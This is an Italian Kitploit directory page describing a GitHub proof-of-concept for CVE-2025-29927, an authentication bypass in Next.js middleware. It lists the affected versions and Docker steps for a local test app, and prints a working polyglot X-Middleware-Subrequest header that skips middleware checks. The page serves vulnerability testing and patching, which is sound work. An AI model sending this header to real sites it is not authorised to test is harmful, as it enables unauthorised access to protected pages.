Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-29927-PoC — PoC per CVE-2025-29927: Vulnerabilità di Bypass del Middleware di Next.js. Mostra come x-middleware-subrequest può bypassare i controlli di autenticazione. Include configurazione Docker per test. | Kitploit
Strumenti/GitHubGitHub/alihussainzada/cve-2025-29927-poc
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubalihussainzada/cve-2025-29927-poc

CVE-2025-29927-PoC

PoC per CVE-2025-29927: Vulnerabilità di Bypass del Middleware di Next.js. Mostra come x-middleware-subrequest può bypassare i controlli di autenticazione. Include configurazione Docker per test.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
5131 anno faNon ancora revisionato

CVE-2025-29927: PoC di Bypass del Middleware di Next.js

Questo repository dimostra la vulnerabilità CVE-2025-29927 in Next.js, dove l'header interno x-middleware-subrequest può essere utilizzato per bypassare i controlli del middleware come l'autenticazione.

Versioni Affette

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9

Passaggi per Riprodurre

1. Clonare il Repository:

root@kitploit:~
git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. Navigare nella Cartella del Progetto:

root@kitploit:~
cd CVE-2025-29927-PoC

3. Generare un Segreto:

root@kitploit:~
openssl rand -base64 32

4. Aggiornare il Segreto nel File .env:

root@kitploit:~
NEXTAUTH_SECRET=your_generated_secret

5. Compilare ed Eseguire con Docker:

root@kitploit:~
docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

Prova di Concetto

Possiamo semplificare notevolmente lo sfruttamento di questo problema utilizzando un poliglotta che ci permette di coprire efficacemente i vari casi potenziali. Ciò è stato ottenuto con il seguente header HTTP, utilizzato per verificare la presenza di un bypass dell'autenticazione:

root@kitploit:~
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

Reindirizza utenti

Esempio di sfruttamento

Crediti/Fonti

  • Blog di Next.js su CVE-2025-29927
  • Zhero Web Security Research: Next.js e il Middleware Corrotto
  • Assetnote Security Research: Analisi del Bypass del Middleware di Next.js
Scarica lo strumento